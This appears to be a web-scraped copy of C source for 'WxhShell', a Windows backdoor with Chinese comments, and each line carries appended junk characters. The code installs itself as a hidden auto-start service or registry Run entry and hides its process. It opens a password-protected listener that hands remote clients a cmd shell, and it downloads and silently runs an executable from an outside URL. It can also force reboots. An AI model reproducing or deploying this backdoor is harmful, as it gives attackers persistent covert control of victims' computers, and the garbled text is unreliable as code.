    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5{e,L>H<  
    else { |*/[`|*G  
    closesocket(wsh); 3DgsI7-F  
    ExitThread(0); sZ,Y60s8a  
    } %UUH"  
    break; 9^FziM  
    } 5irwz4.4  
  // 获取shell FGWN}&K  
  case 's': { 94sk kEj  
    CmdShell(wsh); CI U1R;  
    closesocket(wsh); tVrY3)c  
    ExitThread(0); YOr:sb   
    break; GeszgtK{T  
  } Q\ /uKQ  
  // 退出 M-)R Q-h  
  case 'x': { X$%4$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2*"Fu:a"`I  
    CloseIt(wsh); .MQ^(  
    break; b45|vX+j  
    } =@,Q Dm]L  
  // 离开 tE6!+c<7  
  case 'q': { 'r1LSht'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !`1'2BC  
    closesocket(wsh); 8r"+bhGx~  
    WSACleanup(); xx{!3 F  
    exit(1); bXUy9 -L  
    break; p G1WXbqW  
        } m,C1J%{^  
  } lif&@o f  
  } FR2= las"z  
\^I>Q _LU  
  // 提示信息 BH]Ynu&o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RrU BpqA  
} bVP"(H]  
  } rc&%m  
_@S`5;4x  
  return; xGTP;NT_H  
} ljl^ GFo  
@36u8pE  
// shell模块句柄 z [`@}}Q  
int CmdShell(SOCKET sock) Zo1,1O  
{ ;XM{o:1Y[  
STARTUPINFO si; F}Vr:~  
ZeroMemory(&si,sizeof(si)); `Al;vVMRO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ctE\ q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uqz]J$  
PROCESS_INFORMATION ProcessInfo; SBA?^T  
char cmdline[]="cmd"; g&/T*L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iq( )8nxi  
  return 0; 6aM*:>C"  
} rZ8`sIWQt  
*m?/O} R  
// 自身启动模式 bfo["  
int StartFromService(void) lHgs;>U$  
{ Xpzfm7CB/  
typedef struct cGjPxG;  
{ 8@so"d2e  
  DWORD ExitStatus; y;/VB,4V  
  DWORD PebBaseAddress; Zd"^</ S  
  DWORD AffinityMask;  : ]C~gc  
  DWORD BasePriority; N('&jHF  
  ULONG UniqueProcessId; (#+^&1  
  ULONG InheritedFromUniqueProcessId; 2eMTxwt*S  
}   PROCESS_BASIC_INFORMATION; J!5$,%v  
J:V?EE,\-  
PROCNTQSIP NtQueryInformationProcess; *_>Lmm.yh  
B)d(TP,>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pz"0J_xDM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bygx]RC[  
p/+a=Yo  
  HANDLE             hProcess; p K0"%eA  
  PROCESS_BASIC_INFORMATION pbi;  *6q5S4 r  
E>l~-PaZY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9B;{]c  
  if(NULL == hInst ) return 0; oJN#C%r7  
/ m=HG^!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x7O-Y~[2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2}8v(%s p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GSH>7!.#  
SL5Ai/X0N  
  if (!NtQueryInformationProcess) return 0; !qG7V:6  
j]`PSl+w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1I:+MBGin  
  if(!hProcess) return 0; p, #o<W  
4EY)!?;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h $2</J"  
#\=FO>  
  CloseHandle(hProcess); yqPdl1{Qr=  
!r<pmr3f@7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =E.wv  
if(hProcess==NULL) return 0; @;"|@!l|  
E>K!Vrh-L  
HMODULE hMod; 9H]{g*kL  
char procName[255]; 7 qS""f7  
unsigned long cbNeeded; _bNzXF  
7Op>i,HZk\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uA< n  
ff^=Ruf$  
  CloseHandle(hProcess); zolt$p  
,y#Kv|R  
if(strstr(procName,"services")) return 1; // 以服务启动 :.Wr{"`  
u ,KD4{!  
  return 0; // 注册表启动 tS6qWtE  
} (JOgy .5C~  
a^I\ /&aw'  
// 主模块 F'21jy&  
int StartWxhshell(LPSTR lpCmdLine) <J`0  
{ JJN.ugT}1  
  SOCKET wsl; ;>Ib^ov  
BOOL val=TRUE; ZpQ)IHA.  
  int port=0; "]} bFO7C  
  struct sockaddr_in door; YpVD2.jy  
%WjXg:R  
  if(wscfg.ws_autoins) Install(); Jcd-  
C&(N I  
port=atoi(lpCmdLine); = %TWX[w  
gtppv6<Mj4  
if(port<=0) port=wscfg.ws_port; Hquc o  
 "y}--  
  WSADATA data; b0Ps5G\ u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s{ *[]!  
VAHh~Q6 ;e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o6.^*%kM'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P/W XaE4  
  door.sin_family = AF_INET; k%WTJbuG<)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UM"- nZ>[  
  door.sin_port = htons(port); -lY6|79bF  
fHx*e'eA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |ATvS2  
closesocket(wsl); YJT&{jYi  
return 1; vApIHI?-  
} 86=}ZGWd  
nFHUy9q  
  if(listen(wsl,2) == INVALID_SOCKET) { UGV+/zxIM  
closesocket(wsl); K0|FY=#2y  
return 1; X^wt3<Kbf  
} 3u+T~g0^  
  Wxhshell(wsl); f<d`B]$(  
  WSACleanup(); ?BeiY zg  
dO! kk"qn  
return 0; Ot_]3:`J~  
bN1|q| 9  
} -b9\=U[  
Bq%Jh  
// 以NT服务方式启动 he;dq)-e9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FrGgga$  
{ FpmM63$VN[  
DWORD   status = 0; "c%0P"u  
  DWORD   specificError = 0xfffffff; pP&7rRhw  
c_$=-Khk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;PF<y9M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8Z8gRcv{p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u5`u>.!  
  serviceStatus.dwWin32ExitCode     = 0; -:+|zF@f  
  serviceStatus.dwServiceSpecificExitCode = 0; x}Eg.S  
  serviceStatus.dwCheckPoint       = 0; {T$9?`h~M  
  serviceStatus.dwWaitHint       = 0; )0]'QLH  
M6 "PX *K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S%;O+eFYb  
  if (hServiceStatusHandle==0) return; V(I8=rVH  
QOGvC[*`<T  
status = GetLastError(); {I%cx Q#y  
  if (status!=NO_ERROR) ? =Z?6fw  
{ UmP/h@8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @1roe G  
    serviceStatus.dwCheckPoint       = 0; _aSxc)?  
    serviceStatus.dwWaitHint       = 0; K<3A1'_  
    serviceStatus.dwWin32ExitCode     = status; G5BfNU  
    serviceStatus.dwServiceSpecificExitCode = specificError; S6DKREO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ko<:Z)PS  
    return; U)o-8OEZ9  
  } jp%S3)  
`KoV_2|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "<N*"euH  
  serviceStatus.dwCheckPoint       = 0; 8b& /k8i:  
  serviceStatus.dwWaitHint       = 0; VPJElRSH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BA:VPTZq  
} e8a+2.!&\  
Hk3sI-XkA  
// 处理NT服务事件,比如:启动、停止 Woy m/[i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I^-Sb=j?Z  
{ NIry)'"  
switch(fdwControl) 0 1rK8jX  
{ Q->sV$^=T  
case SERVICE_CONTROL_STOP: i>`%TW:g  
  serviceStatus.dwWin32ExitCode = 0; Naf0)3q>!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v0{i0%d,?  
  serviceStatus.dwCheckPoint   = 0; W:2( .?  
  serviceStatus.dwWaitHint     = 0; $t[FH&c(  
  { 9s q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tx# Mn~xD  
  } N#_H6TfMG  
  return; L,/%f<wd  
case SERVICE_CONTROL_PAUSE: D;*SnU(9L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +{.WQA}z\  
  break; k1~&x$G  
case SERVICE_CONTROL_CONTINUE: IFL*kB   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NH4#  
  break; A}9`S6@@  
case SERVICE_CONTROL_INTERROGATE: K;G~V\  
  break; 6<QQ@5_  
}; kVMg 1I@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M5X&}cN6  
} Xc-'Y"}|`t  
E{`fF8]K  
// 标准应用程序主函数 AQvudx)@"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K+3=tk]W9u  
{ FcU SE  
wlqksG[B  
// 获取操作系统版本 m<Dy<((_I  
OsIsNt=GetOsVer();  eq;uO6[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #q=Efn'  
'-~~-}= sJ  
  // 从命令行安装 $%#!bV  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]2KihP8z x  
?N9uu4  
  // 下载执行文件 sUQ@7sTj  
if(wscfg.ws_downexe) { H<,gU`&R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iqWQ!r^  
  WinExec(wscfg.ws_filenam,SW_HIDE); +ye3HGD  
} hz@bW2S.  
@*( (1(q  
if(!OsIsNt) { !%c\N8<>GD  
// 如果时win9x,隐藏进程并且设置为注册表启动 oUU1+F-  
HideProc(); @:#eb1 <S  
StartWxhshell(lpCmdLine); + cN8Y}V  
} 1mG-}  
else D'Q\za  
  if(StartFromService()) Ad_h K O  
  // 以服务方式启动 zK@@p+n_#.  
  StartServiceCtrlDispatcher(DispatchTable); yY q,*<G  
else SO!8Di  
  // 普通方式启动 0@oJFJrO  
  StartWxhshell(lpCmdLine); fE mr^ R  
( a#BV}=  
return 0; &tj!*k'  
} H/M@t\$Dc  
3[*}4}k9  
H4+i.*T#  
N(yz k_~  
=========================================== +6+i!Sip  
eJ-nKkg~a  
E7hY8#G  
61U09s%\0  
.Z *'d  
N;`n@9BF  
" 8Zd]wYO  
=T7.~W  
#include <stdio.h> 0o&5 ]lEe  
#include <string.h> ]D\D~!R  
#include <windows.h> VI *$em O0  
#include <winsock2.h> l*G[!u  
#include <winsvc.h> X"%gQ.1|{j  
#include <urlmon.h> yJIscwF  
o }m3y  
#pragma comment (lib, "Ws2_32.lib") vnuN6M{  
#pragma comment (lib, "urlmon.lib") Ig{0Z">  
f3y=Wxk[  
#define MAX_USER   100 // 最大客户端连接数 c-sfg>0^  
#define BUF_SOCK   200 // sock buffer El8,,E  
#define KEY_BUFF   255 // 输入 buffer |2A:eI8 ^  
dk^~;m#iN  
#define REBOOT     0   // 重启 K{+2G&i  
#define SHUTDOWN   1   // 关机 'LDQgC*%  
<N~K ;n v  
#define DEF_PORT   5000 // 监听端口 wUJcmM;  
A@#E@ ;lm  
#define REG_LEN     16   // 注册表键长度 G' 1'/  
#define SVC_LEN     80   // NT服务名长度 =Dj#gV  
UJ2U1H54h  
// 从dll定义API zfdl45  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VUuE T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2&cT~ZX&'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gs`q6 f%(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v`T c}c '  
qf-8<{T  
// wxhshell配置信息 )boE/4  
struct WSCFG { -mh3DhJ,  
  int ws_port;         // 监听端口 'V>-QD%1  
  char ws_passstr[REG_LEN]; // 口令 (/$^uWj  
  int ws_autoins;       // 安装标记, 1=yes 0=no RxQ*  
  char ws_regname[REG_LEN]; // 注册表键名 |Y.?_lC  
  char ws_svcname[REG_LEN]; // 服务名 7zj{wp!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nO-#Q=H,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h{qgEIk&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +b 6v!7_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yB!dp;gM{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6aj!Q*(WT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \{NO?%s0p  
VIbq:U  
}; &7s.`  
@2#lI  
// default Wxhshell configuration yf,z$CR  
struct WSCFG wscfg={DEF_PORT, ^B^9KEjTz  
    "xuhuanlingzhe", }6ldjCT/,  
    1, % ] U  
    "Wxhshell", vP,n(reM  
    "Wxhshell", 7xR\kL.,  
            "WxhShell Service", G#$-1"!`  
    "Wrsky Windows CmdShell Service", "r2 r   
    "Please Input Your Password: ", 2fS:- 8N  
  1, vih9 KBT  
  "http://www.wrsky.com/wxhshell.exe", J[kTlHMD  
  "Wxhshell.exe" Dt1jW  
    }; 4I[P>  
B<C&xDRZ0  
// 消息定义模块 2`-Bs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VxBo1\'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2Khv>#l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6S{l' !s'  
char *msg_ws_ext="\n\rExit."; \{YU wKK/A  
char *msg_ws_end="\n\rQuit."; _"{Xi2@H  
char *msg_ws_boot="\n\rReboot..."; 'N(R_q6MW  
char *msg_ws_poff="\n\rShutdown..."; G+m }MOQP7  
char *msg_ws_down="\n\rSave to "; MqMQtU9w  
z(~_AN M4,  
char *msg_ws_err="\n\rErr!"; E*lxVua  
char *msg_ws_ok="\n\rOK!"; moE2G?R  
eJX#@`K  
char ExeFile[MAX_PATH]; ji= "DYtL  
int nUser = 0; R@2X3s:  
HANDLE handles[MAX_USER]; C_Wc5{  
int OsIsNt; '<uq3?5  
X wtqi@zlE  
SERVICE_STATUS       serviceStatus; jiC>d@~y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v` r:=K  
FGkVqZ Y2?  
// 函数声明 'hf8ZEW9'  
int Install(void); Yr|4Fl~U  
int Uninstall(void); {c0`Um3&>  
int DownloadFile(char *sURL, SOCKET wsh); o !7va"  
int Boot(int flag); <oeIcN7d  
void HideProc(void); v-Sd*( 6  
int GetOsVer(void); 6w77YTJ  
int Wxhshell(SOCKET wsl); *z2s$EZ  
void TalkWithClient(void *cs); f *)Z)6E  
int CmdShell(SOCKET sock); Q59W#e)  
int StartFromService(void); t$ *0{w E  
int StartWxhshell(LPSTR lpCmdLine); @o.I;}*N  
!_(Tqyg&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W{aY}`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A%-6`>  
Qwc"[N4H  
// 数据结构和表定义 ?h2}#wg  
SERVICE_TABLE_ENTRY DispatchTable[] = `y0FY&y=  
{ zBH2@d3W  
{wscfg.ws_svcname, NTServiceMain}, WEpoBP CL  
{NULL, NULL} e';_Y>WQy  
}; )`}:8y?  
aQ~s`^D  
// 自我安装 D)Dr__x  
int Install(void) wA.\i  
{ :@&/kyGH  
  char svExeFile[MAX_PATH]; y?# Loe  
  HKEY key; dqAw5[qMJ  
  strcpy(svExeFile,ExeFile); h `wD  
B erwI 7!=  
// 如果是win9x系统,修改注册表设为自启动 l;V173W=&  
if(!OsIsNt) { tMe~vq[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L0]_X#s>#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 {)Q[#l  
  RegCloseKey(key); %>s |j'{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { azU"G(6y?+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rLT!To  
  RegCloseKey(key); O H7FkR  
  return 0; =w^M{W.w  
    }  S[QrS 7  
  } E)3NxmM#  
} )}ROLe  
else { (iGTACoF  
B?wq=DoG  
// 如果是NT以上系统,安装为系统服务 zMJT:7*`|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); We z 5N  
if (schSCManager!=0) Q=:|R3U/  
{ BORA(,  
  SC_HANDLE schService = CreateService U ;I9 bK8  
  ( .8|X   
  schSCManager, t:c.LFrF  
  wscfg.ws_svcname, /L#?zSt  
  wscfg.ws_svcdisp, mcok/,/  
  SERVICE_ALL_ACCESS, "I TIhnE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lRdChoL$2  
  SERVICE_AUTO_START, Ct|A:/z(  
  SERVICE_ERROR_NORMAL, _aMF?Pj~m  
  svExeFile, GJUL$9  
  NULL, FgI3   
  NULL, l+0P  
  NULL, ?hM64jI|  
  NULL, (I}v[W  
  NULL j~QwV='S  
  ); Qei" '~1a  
  if (schService!=0) \di=  
  { R GX=)  
  CloseServiceHandle(schService); c"xK`%e  
  CloseServiceHandle(schSCManager); UZ$/Ni  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,=N.FS  
  strcat(svExeFile,wscfg.ws_svcname); k+4#!.HX^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cls%M5MH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 07$o;W@  
  RegCloseKey(key); xwty<?dRW1  
  return 0; |)G<,FJQE_  
    } (tQc  
  } R FH0  
  CloseServiceHandle(schSCManager); { BHO/q3  
} G#1GXFDO{  
} PxE3K-S)G  
Lh<).<S  
return 1; [1KuzCcK}  
} bu"!jHPB  
0|b>I!_"g  
// 自我卸载 &VcV$8k  
int Uninstall(void) ]+$?u&0?w  
{ W}1 ;Z(.*  
  HKEY key; Tb-F]lg$  
.}*" Nv  
if(!OsIsNt) { UY 2OZ& &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YAmb`CP  
  RegDeleteValue(key,wscfg.ws_regname); 3yXY.>'  
  RegCloseKey(key); qjc4.,/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  RX5dO%  
  RegDeleteValue(key,wscfg.ws_regname); 8KNZ](Dj  
  RegCloseKey(key); cs'{5!i]  
  return 0; 4'Zp-k?5`  
  } OUXR  
}  rXU\  
} ?R#)1{(8d~  
else { Xs?o{]Fe  
<d_!mKw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C'X!\}f.b/  
if (schSCManager!=0) :a)u&g@G  
{ }iuw5dik+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I!?}jo3  
  if (schService!=0) 40<mrVl  
  { _/K_[w 1  
  if(DeleteService(schService)!=0) { PiYxk+N  
  CloseServiceHandle(schService); 6JQ'Ik;$wX  
  CloseServiceHandle(schSCManager); O7IJ%_A&  
  return 0; 8&aq/4:q0  
  } k@:%:Sj 2  
  CloseServiceHandle(schService); Tu7QCr5*  
  } v}Fr@0%  
  CloseServiceHandle(schSCManager); JO< wU  
} "w.3Q96r  
} WeiFmar  
3%ZOKb"D*  
return 1; m%e68c  
} t<viX's  
VU d\QR-  
// 从指定url下载文件 W#sU`T   
int DownloadFile(char *sURL, SOCKET wsh) # Vha7  
{ I.k *GW  
  HRESULT hr; .VzT:4-<Q"  
char seps[]= "/"; 1y4  
char *token; <A'$%`6m  
char *file; 0_t`%l=  
char myURL[MAX_PATH]; 8*T=Xei8  
char myFILE[MAX_PATH]; E+w<RNBmz  
`^y7f  
strcpy(myURL,sURL); n=ux5M  
  token=strtok(myURL,seps); 5[u]E~Fl}  
  while(token!=NULL) ,WB{i^TD  
  { (*)hD(C5  
    file=token; hfy_3}_  
  token=strtok(NULL,seps); b%/ 1$>_  
  } {jX2}  
Per1IcN  
GetCurrentDirectory(MAX_PATH,myFILE); >J>[& zS  
strcat(myFILE, "\\"); %-0t?/>  
strcat(myFILE, file); ;BIY^6,7e  
  send(wsh,myFILE,strlen(myFILE),0); .h4 \Y A  
send(wsh,"...",3,0); w: Kl6"c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q#=(e:aCb  
  if(hr==S_OK) 5N&?KA-  
return 0; J~UuS+Ufv  
else Tyf`j,=  
return 1; Eg3q!J&Z  
C-[eaHJ'$  
} 'ub@]ru|  
.xWC{}7[  
// 系统电源模块 OH(waKq2I  
int Boot(int flag) +&2%+[nBZ  
{ %n:k#  
  HANDLE hToken; b`O'1r\Y;  
  TOKEN_PRIVILEGES tkp; d4c8~L H-  
nK%LRcAs  
  if(OsIsNt) { QW(Mz Hg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }@+:\   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~1vDV>dpE  
    tkp.PrivilegeCount = 1; [^98fAlz6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Da`   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }2<7%FL  
if(flag==REBOOT) { k{SAvKx=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d,n 'n  
  return 0; &@Be2!%'9K  
} Y\?"WGL)p  
else { >e[i5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (jl D+Y_  
  return 0; 6MMOf\   
} cP_.&!T  
  } JHTSUq  
  else { o="M  
if(flag==REBOOT) { zv,jM0-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l3I:Q^x@  
  return 0;  o!ebs0  
} pohp&Tcm  
else { @8r pD"x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S2VA{9:m  
  return 0; FSW_<%  
} EE'io5\et  
} +Kbjzh3<wG  
O*)Vhw'pK  
return 1; f5VLw`m}.8  
} y''z5['  
XBu"-(  
// win9x进程隐藏模块 ]R f[y  
void HideProc(void) zL`iK"N`  
{ MC.) 2B7  
ofw3S |F6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qm8B8&-  
  if ( hKernel != NULL ) Cl8Cg~2  
  { fN^8{w/O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \B,@`dw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iE^84l68  
    FreeLibrary(hKernel); G.a bql  
  } h-<81"}j1  
pm0{R[:T7  
return; Ata:^qI  
} UJ7*j%XQz_  
%oa-WmWm  
// 获取操作系统版本 3>`mI8 $t  
int GetOsVer(void) }"%?et(  
{ E GU 0)<  
  OSVERSIONINFO winfo; SdxDa  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hxd`OG<gF  
  GetVersionEx(&winfo); 94.DHZqh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DJ [#5h5  
  return 1; BdblLUGK#  
  else ;d"F%M y  
  return 0; Y}|X|!0x  
} " h~Z u  
.P%bkD6M  
// 客户端句柄模块 YdC6k?tzS  
int Wxhshell(SOCKET wsl) F]]]y5t  
{ /,&<6c-Q@W  
  SOCKET wsh; [<6^qla  
  struct sockaddr_in client; FX`>J6l:X  
  DWORD myID; KD7dye  
Tg)| or/ %  
  while(nUser<MAX_USER) O6a<`]F  
{ ]]9R mh=  
  int nSize=sizeof(client); $f=J2&D,Cz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {xB!EQ"  
  if(wsh==INVALID_SOCKET) return 1; =I;ZMJR  
Tc &z:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zFw s:_ i  
if(handles[nUser]==0) I%X6T@P  
  closesocket(wsh); j2.|ln"!  
else O{G?;H$  
  nUser++; YPK(be_|I  
  } =llvuUd\n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pF:$  ko  
m6&~HfwN  
  return 0; 2E/"hQw  
} l2rd9 -T  
J0\Fhe0'  
// 关闭 socket uHvp;]/0\  
void CloseIt(SOCKET wsh) lC("y' ::  
{ a85$K$b>  
closesocket(wsh); xU>WEm2  
nUser--; RD'Q :W  
ExitThread(0); #crQ1p) \  
} x_6[P2"PP  
(%e .:W${  
// 客户端请求句柄 2 %@4]  
void TalkWithClient(void *cs) ukfQe }I  
{ ag#S6E^%S  
8Pn#+IvCE  
  SOCKET wsh=(SOCKET)cs; %x{kc3PnO  
  char pwd[SVC_LEN]; m=A(NKZ   
  char cmd[KEY_BUFF]; M!A}NWF  
char chr[1]; A8fOQ  
int i,j; ;F!5%}OcL%  
iWB=sL&p  
  while (nUser < MAX_USER) { aS{n8P6vW  
z/WE,R  
if(wscfg.ws_passstr) { [.'|_l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <+Dn8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3<Zq ]jk?n  
  //ZeroMemory(pwd,KEY_BUFF); LX7FaW  
      i=0; C]eSizS.  
  while(i<SVC_LEN) { 4Lh!8g=/  
eJVjuG  
  // 设置超时 YpZ+n*&+  
  fd_set FdRead; ox>^>wR*  
  struct timeval TimeOut; #ASz;$P  
  FD_ZERO(&FdRead); R{3N&C  
  FD_SET(wsh,&FdRead); YX7L?=;.@  
  TimeOut.tv_sec=8; *:YiimOY"  
  TimeOut.tv_usec=0; "Hb"F?Yb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KRLQ #,9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WJndoB.f[2  
q J=~Y|(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /-ch`u md  
  pwd=chr[0]; /vde2.|  
  if(chr[0]==0xd || chr[0]==0xa) { w%VU/6~  
  pwd=0; tl4V7!U@^z  
  break; C:* *;=.  
  } ,p@y] cr  
  i++; -p&" y3<p  
    } `*["UER  
FLCexlv^  
  // 如果是非法用户,关闭 socket \H~T>j{N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); axRV:w;E<  
} *vN-Vb^2i)  
MS>Ge0P("~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b#Z{{eLny  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V>%rv'G8  
zh`<WN&H  
while(1) { el<s8:lA  
G<8/F<m/  
  ZeroMemory(cmd,KEY_BUFF); e7r -R3_  
SSg8}m5)Q  
      // 自动支持客户端 telnet标准   dA`IEQJL  
  j=0; E7 Ul;d  
  while(j<KEY_BUFF) { 3cyHfpx-W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p8H'{f\G  
  cmd[j]=chr[0]; i2A81>68<  
  if(chr[0]==0xa || chr[0]==0xd) { A*R^n}sh  
  cmd[j]=0; | y# Jx  
  break; *74MWF@IY  
  } v ~?qz5:K~  
  j++; o&zJ=k[4  
    } cAqLE\h  
fZzoAzfv2  
  // 下载文件 |&nS|2.'  
  if(strstr(cmd,"http://")) { qIE9$7*X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V/LLaZ TE  
  if(DownloadFile(cmd,wsh)) <8i//HOE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '8. r-`l(  
  else B+VubUPMS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v0+BkfU+p  
  } S_4?K)n #  
  else { ,~$p,ALwN7  
~ 'H ]jN  
    switch(cmd[0]) { n;C :0  
  _|\~q[ep  
